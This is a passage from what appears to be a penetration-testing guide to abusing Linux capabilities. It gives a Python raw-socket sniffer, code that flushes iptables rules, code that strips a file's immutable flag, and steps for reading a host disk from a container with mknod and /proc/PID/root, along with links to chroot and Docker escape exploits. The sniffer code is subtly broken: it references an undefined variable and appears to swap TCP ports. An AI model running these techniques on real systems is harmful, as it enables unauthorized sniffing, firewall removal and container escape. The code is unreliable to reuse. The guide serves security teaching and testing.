   1441 [**CAP_NET_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) permits processes to **create RAW and PACKET sockets**, enabling them to generate and send arbitrary network packets. This can lead to security risks in containerized environments, such as packet spoofing, traffic injection, and bypassing network access controls. Malicious actors could exploit this to interfere with container routing or compromise host network security, especially without adequate firewall protections. Additionally, **CAP_NET_RAW** supports operations like ping via RAW ICMP requests.<sup>[[14]](#references)</sup>
   1442 
   1443 **This can enable packet capture with a suitable socket interface.** It does not directly grant broader privilege escalation.<sup>[[14]](#references)</sup>
   1444 
   1445 **Example with binary**
   1446 
   1447 If the binary **`tcpdump`** has this capability you will be able to use it to capture network information.
   1448 
   1449 ```bash
   1450 getcap -r / 2>/dev/null
   1451 /usr/sbin/tcpdump = cap_net_raw+ep
   1452 ```
   1453 
   1454 If the **environment** grants this capability, **`tcpdump`** can also use it to sniff traffic.<sup>[[14]](#references)</sup>
   1455 
   1456 **Example with binary 2**
   1457 
   1458 The following example is **`python2`** code that can be useful to intercept traffic of the "**lo**" (**localhost**) interface. The code is from the lab "_The Basics: CAP-NET_BIND + NET_RAW_" from [https://attackdefense.pentesteracademy.com/](https://attackdefense.pentesteracademy.com).<sup>[[1]](#references)</sup>
   1459 
   1460 ```python
   1461 import socket
   1462 import struct
   1463 
   1464 flags=["NS","CWR","ECE","URG","ACK","PSH","RST","SYN","FIN"]
   1465 
   1466 def getFlag(flag_value):
   1467     flag=""
   1468     for i in xrange(8,-1,-1):
   1469         if( flag_value & 1 <<i ):
   1470             flag= flag + flags[8-i] + ","
   1471     return flag[:-1]
   1472 
   1473 s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(3))
   1474 s.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 2**30)
   1475 s.bind(("lo",0x0003))
   1476 
   1477 flag=""
   1478 count=0
   1479 while True:
   1480     frame=s.recv(4096)
   1481     ip_header=struct.unpack("!BBHHHBBH4s4s",frame[14:34])
   1482     proto=ip_header[6]
   1483     ip_header_size = (ip_header[0] & 0b1111) * 4
   1484     if(proto==6):
   1485         protocol="TCP"
   1486         tcp_header_packed = frame[ 14 + ip_header_size : 34 + ip_header_size]
   1487         tcp_header = struct.unpack("!HHLLHHHH", tcp_header_packed)
   1488         dst_port=tcp_header[0]
   1489         src_port=tcp_header[1]
   1490         flag=" FLAGS: "+getFlag(tcp_header[4])
   1491 
   1492     elif(proto==17):
   1493         protocol="UDP"
   1494         udp_header_packed_ports = frame[ 14 + ip_header_size : 18 + ip_header_size]
   1495         udp_header_ports=struct.unpack("!HH",udp_header_packed_ports)
   1496         dst_port=udp_header[0]
   1497         src_port=udp_header[1]
   1498 
   1499     if (proto == 17 or proto == 6):
   1500         print("Packet: " + str(count) + " Protocol: " + protocol + " Destination Port: " + str(dst_port) + " Source Port: " + str(src_port) + flag)
   1501         count=count+1
   1502 ```
   1503 
   1504 ## CAP_NET_ADMIN + CAP_NET_RAW
   1505 
   1506 [**CAP_NET_ADMIN**](https://man7.org/linux/man-pages/man7/capabilities.7.html) grants the holder the power to **alter network configurations**, including firewall settings, routing tables, socket permissions, and network interface settings within the exposed network namespaces. It also enables turning on **promiscuous mode** on network interfaces, allowing for packet sniffing across namespaces.<sup>[[14]](#references)</sup>
   1507 
   1508 **Example with binary**
   1509 
   1510 Lets suppose that the **python binary** has these capabilities.
   1511 
   1512 ```python
   1513 #Dump iptables filter table rules
   1514 import iptc
   1515 import pprint
   1516 json=iptc.easy.dump_table('filter',ipv6=False)
   1517 pprint.pprint(json)
   1518 
   1519 #Flush iptables filter table
   1520 import iptc
   1521 iptc.easy.flush_table('filter')
   1522 ```
   1523 
   1524 ## CAP_LINUX_IMMUTABLE
   1525 
   1526 **This capability permits modifying inode flags such as immutable and append-only.** It does not directly grant broader privilege escalation.<sup>[[14]](#references)</sup>
   1527 
   1528 **Example with binary**
   1529 
   1530 If you find that a file is immutable and python has this capability, you can **remove the immutable attribute and make the file modifiable:**
   1531 
   1532 ```python
   1533 #Check that the file is imutable
   1534 lsattr file.sh
   1535 ----i---------e--- backup.sh
   1536 ```
   1537 
   1538 ```python
   1539 # Python code to remove the immutable flag and allow modifications
   1540 import fcntl
   1541 import os
   1542 import struct
   1543 
   1544 FS_IMMUTABLE_FL = 0x00000010
   1545 FS_IOC_GETFLAGS = 0x80086601
   1546 FS_IOC_SETFLAGS = 0x40086602
   1547 
   1548 fd = os.open('/path/to/file.sh', os.O_RDONLY)
   1549 flags = struct.unpack('i', fcntl.ioctl(fd, FS_IOC_GETFLAGS, struct.pack('i', 0)))[0]
   1550 fcntl.ioctl(fd, FS_IOC_SETFLAGS, struct.pack('i', flags & ~FS_IMMUTABLE_FL))
   1551 os.close(fd)
   1552 
   1553 with open('/path/to/file.sh', 'a') as f:
   1554     f.write('New content for the file\n')
   1555 ```
   1556 
   1557 The `FS_IOC_GETFLAGS` and `FS_IOC_SETFLAGS` operations read and update inode flags; `FS_IMMUTABLE_FL` is the immutable flag cleared by this example.<sup>[[27]](#references)</sup>
   1558 
   1559 > [!TIP]
   1560 > Note that usually this immutable attribute is set and remove using:
   1561 >
   1562 > ```bash
   1563 > sudo chattr +i file.txt
   1564 > sudo chattr -i file.txt
   1565 > ```
   1566 
   1567 ## CAP_SYS_CHROOT
   1568 
   1569 [**CAP_SYS_CHROOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) enables the execution of the `chroot(2)` system call, which can potentially allow for the escape from `chroot(2)` environments through known vulnerabilities.<sup>[[11]](#references)[[14]](#references)</sup>
   1570 
   1571 - [How to break out from various chroot solutions](https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions_-_Bucsay_Balazs.pdf).<sup>[[11]](#references)</sup>
   1572 - [chw00t: chroot escape tool](https://github.com/earthquake/chw00t/)
   1573 
   1574 ## CAP_SYS_BOOT
   1575 
   1576 [**CAP_SYS_BOOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) allows the execution of the `reboot(2)` system call for system restarts, including commands such as `LINUX_REBOOT_CMD_RESTART2`; it also enables `kexec_load(2)` and, from Linux 3.17 onwards, `kexec_file_load(2)` for loading new or signed crash kernels respectively.<sup>[[14]](#references)</sup>
   1577 
   1578 ## CAP_SYSLOG
   1579 
   1580 [**CAP_SYSLOG**](https://man7.org/linux/man-pages/man7/capabilities.7.html) was separated from the broader **CAP_SYS_ADMIN** in Linux 2.6.37, specifically granting the ability to use the `syslog(2)` call. This capability enables the viewing of kernel addresses via `/proc` and similar interfaces when the `kptr_restrict` setting is at 1, which controls the exposure of kernel addresses. Since Linux 2.6.39, the default for `kptr_restrict` is 0, meaning kernel addresses are exposed, though many distributions set this to 1 (hide addresses except from uid 0) or 2 (always hide addresses) for security reasons.<sup>[[14]](#references)</sup>
   1581 
   1582 Additionally, **CAP_SYSLOG** allows accessing `dmesg` output when `dmesg_restrict` is set to 1. Despite these changes, **CAP_SYS_ADMIN** retains the ability to perform `syslog` operations due to historical precedents.<sup>[[14]](#references)</sup>
   1583 
   1584 ## CAP_MKNOD
   1585 
   1586 [**CAP_MKNOD**](https://man7.org/linux/man-pages/man7/capabilities.7.html) extends the functionality of the `mknod` system call beyond creating regular files, FIFOs (named pipes), or UNIX domain sockets. It specifically allows for the creation of special files, which include:<sup>[[14]](#references)</sup>
   1587 
   1588 - **S_IFCHR**: Character special files, which are devices like terminals.
   1589 - **S_IFBLK**: Block special files, which are devices like disks.
   1590 
   1591 This capability is useful for processes that need to create device files, including character or block devices.<sup>[[14]](#references)</sup>
   1592 
   1593 It is included in Docker's documented default capability set; verify the actual runtime configuration rather than assuming every deployment uses the same defaults ([Moby default capability list](https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19)).<sup>[[19]](#references)</sup>
   1594 
   1595 This capability permits to do privilege escalations (through full disk read) on the host, under these conditions:<sup>[[7]](#references)</sup>
   1596 
   1597 1. Have initial access to the host (Unprivileged).
   1598 2. Have initial access to the container (Privileged (EUID 0), and effective `CAP_MKNOD`).
   1599 3. Host and container should share the same user namespace.
   1600 
   1601 **Steps to Create and Access a Block Device in a Container:**
   1602 
   1603 1. **On the Host as a Standard User:**
   1604 
   1605    - Determine your current user ID with `id`, e.g., `uid=1000(standarduser)`.
   1606    - Identify the target device, for example, `/dev/sdb`.
   1607 
   1608 2. **Inside the Container as `root`:**
   1609 
   1610 ```bash
   1611 # Create a block special file for the host device
   1612 mknod /dev/sdb b 8 16
   1613 # Set read and write permissions for the user and group
   1614 chmod 660 /dev/sdb
   1615 # Add the corresponding standard user present on the host
   1616 useradd -u 1000 standarduser
   1617 # Switch to the newly created user
   1618 su standarduser
   1619 ```
   1620 
   1621 3. **Back on the Host:**
   1622 
   1623 ```bash
   1624 # Locate the PID of the container process owned by "standarduser"
   1625 # This is an illustrative example; actual command might vary
   1626 ps aux | grep -i container_name | grep -i standarduser
   1627 # Assuming the found PID is 12345
   1628 # Access the container's filesystem and the special block device
   1629 head /proc/12345/root/dev/sdb
   1630 ```
   1631 
   1632 This approach allows the standard user to access and potentially read data from `/dev/sdb` through the container when the device, namespaces, and permissions are configured as described.<sup>[[7]](#references)</sup>
   1633 
   1634 ### CAP_SETPCAP
   1635 
   1636 On current Linux kernels with file capabilities, **`CAP_SETPCAP`** lets a thread add capabilities from its bounding set to its inheritable set, drop capabilities from its bounding set, and change its securebits. It does not let a process arbitrarily grant capabilities to another process; that behavior applies only to pre-2.6.25 kernels without file-capability support.<sup>[[14]](#references)</sup>
   1637 
   1638 The `capset()` system call can adjust a thread's own effective, permitted, and inheritable sets, but the new permitted set cannot contain capabilities outside the existing permitted set and inheritable updates remain subject to kernel constraints.<sup>[[14]](#references)</sup>
   1639 
   1640 ## References
   1641 
   1642 - [1] [AttackDefense (Pentester Academy) - Linux capabilities privilege escalation labs](https://attackdefense.pentesteracademy.com)
   1643 - [2] [Hacker's Grimoire - Privilege Escalation Linux](https://vulp3cula.gitbook.io/hackers-grimoire/post-exploitation/privesc-linux)
   1644 - [3] [Linux Container Basics: Capabilities](https://www.schutzwerk.com/en/43/posts/linux_container_capabilities/)
   1645 - [4] [Linux capabilities 101](https://linux-audit.com/linux-capabilities-101/)
   1646 - [5] [Taking Advantage of Linux Capabilities](https://www.linuxjournal.com/article/5737)
   1647 - [6] [Excessive Capabilities](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/excessive-capabilities#cap_sys_module)
   1648 - [7] [Abusing access to mount namespaces through /proc/pid/root](https://labs.reversec.com/posts/2020/06/abusing-access-to-mount-namespaces-through-procpidroot)
   1649 - [8] [Linux Capabilities: Why They Exist and How They Work](https://blog.container-solutions.com/linux-capabilities-why-they-exist-and-how-they-work)
   1650 - [9] [Understanding Capabilities in Linux](https://blog.ploetzli.ch/2014/understanding-linux-capabilities/)
   1651 - [10] [PoC for bypassing seccomp if ptrace is allowed](https://gist.github.com/thejh/8346f47e359adecd1d53)
   1652 - [11] [How to break out from various chroot solutions](https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions_-_Bucsay_Balazs.pdf)
   1653 - [12] [shocker.c - original CAP_DAC_READ_SEARCH Docker breakout exploit by Sebastian Krahmer](http://stealth.openwall.net/xSports/shocker.c)
   1654 - [13] [Docker breakout exploit analysis](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3)
   1655 - [14] [capabilities(7) - Linux manual page](https://man7.org/linux/man-pages/man7/capabilities.7.html)
   1656 - [15] [proc_pid_status(5) - Linux manual page](https://man7.org/linux/man-pages/man5/proc_pid_status.5.html)
   1657 - [16] [pam_cap(8) - Linux manual page](https://man7.org/linux/man-pages/man8/pam_cap.8.html)
   1658 - [17] [capability.conf(5) - Ubuntu Manpage](https://manpages.ubuntu.com/manpages/bionic/man5/capability.conf.5.html)
   1659 - [18] [systemd.exec(5) - Linux manual page](https://man7.org/linux/man-pages/man5/systemd.exec.5.html)
   1660 - [19] [Running containers - Docker Docs](https://docs.docker.com/engine/containers/run/)
   1661 - [20] [docker container run - Docker Docs](https://docs.docker.com/reference/cli/docker/container/run)
   1662 - [21] [cap_text_formats(7) - Linux manual page](https://man7.org/linux/man-pages/man7/cap_text_formats.7.html)
   1663 - [22] [getpcaps(8) - Linux manual page](https://man7.org/linux/man-pages/man8/getpcaps.8.html)
   1664 - [23] [getcap(8) - Linux manual page](https://man7.org/linux/man-pages/man8/getcap.8.html)
   1665 - [24] [amicontained](https://github.com/genuinetools/amicontained)
   1666 - [25] [setcap(8) - Linux manual page](https://man7.org/linux/man-pages/man8/setcap.8.html)
   1667 - [26] [capsh(1) - Linux manual page](https://man7.org/linux/man-pages/man1/capsh.1.html)
   1668 - [27] [ioctl_iflags(2) - Linux manual page](https://man7.org/linux/man-pages/man2/ioctl_iflags.2.html)